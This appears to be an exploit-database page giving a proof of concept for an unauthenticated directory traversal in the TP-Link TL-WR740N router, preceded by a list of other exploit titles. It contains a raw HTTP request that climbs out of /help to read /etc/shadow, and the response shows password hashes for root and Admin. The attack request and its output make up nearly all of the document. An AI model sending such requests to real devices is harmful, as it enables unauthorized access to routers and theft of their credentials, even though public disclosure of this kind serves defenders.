81ae91fdae
14 changes to exploits/shellcodes/ghdb Electrolink FM/DAB/TV Transmitter - Unauthenticated Remote DoS Electrolink FM/DAB/TV Transmitter (controlloLogin.js) - Credentials Disclosure Electrolink FM/DAB/TV Transmitter (Login Cookie) - Authentication Bypass Electrolink FM/DAB/TV Transmitter (login.htm/mail.htm) - Credentials Disclosure Electrolink FM/DAB/TV Transmitter - Pre-Auth MPFS Image Remote Code Execution Electrolink FM/DAB/TV Transmitter - Remote Authentication Removal TP-LINK TL-WR740N - Multiple HTML Injection TP-Link TL-WR740N - UnAuthenticated Directory Transversal Juniper-SRX-Firewalls&EX-switches - (PreAuth-RCE) (PoC) mooSocial 3.1.8 - Cross-Site Scripting (XSS) on User Login Page PCMan FTP Server 2.0 - 'pwd' Remote Buffer Overflow WebCatalog 48.4 - Arbitrary Protocol Execution
56 lines
No EOL
1.9 KiB
Text
56 lines
No EOL
1.9 KiB
Text
# Exploit Title: TP-Link TL-WR740N UnAuthenticated Directory Transversal
|
||
# Date: 25/9/2023
|
||
# Exploit Author: Syed Affan Ahmed (ZEROXINN)
|
||
# Vendor Homepage: http://www.tp-link.com
|
||
# Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
|
||
# Tested on: TP-Link TL-WR740N
|
||
|
||
---------------------------POC---------------------------
|
||
|
||
Request
|
||
-------
|
||
|
||
GET /help/../../../etc/shadow HTTP/1.1
|
||
Host: 192.168.0.1:8082
|
||
Upgrade-Insecure-Requests: 1
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
||
Accept-Encoding: gzip, deflate
|
||
Accept-Language: en-US,en;q=0.9
|
||
Cookie: ipaddr=192.168.0.100; mLangage=Âée; exception=4
|
||
Connection: close
|
||
|
||
Response
|
||
--------
|
||
|
||
HTTP/1.1 200 OK
|
||
Server: Router Webserver
|
||
Connection: close
|
||
WWW-Authenticate: Basic realm="TP-LINK Wireless Lite N Router WR740N"
|
||
Content-Type: text/html
|
||
|
||
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
|
||
<HTML>
|
||
<HEAD><TITLE>TL-WR740N</TITLE>
|
||
<META http-equiv=Pragma content=no-cache>
|
||
<META http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT">
|
||
<LINK href="/dynaform/css_help.css" rel=stylesheet type="text/css">
|
||
<SCRIPT language="javascript" type="text/javascript"><!--
|
||
if(window.parent == window){window.location.href="http://192.168.0.1";}
|
||
function Click(){ return false;}
|
||
document.oncontextmenu=Click;
|
||
function doPrev(){history.go(-1);}
|
||
//--></SCRIPT>
|
||
root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
|
||
Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
|
||
bin::10933:0:99999:7:::
|
||
daemon::10933:0:99999:7:::
|
||
adm::10933:0:99999:7:::
|
||
lp:*:10933:0:99999:7:::
|
||
sync:*:10933:0:99999:7:::
|
||
shutdown:*:10933:0:99999:7:::
|
||
halt:*:10933:0:99999:7:::
|
||
uucp:*:10933:0:99999:7:::
|
||
operator:*:10933:0:99999:7:::
|
||
nobody::10933:0:99999:7:::
|
||
ap71::10933:0:99999:7::: |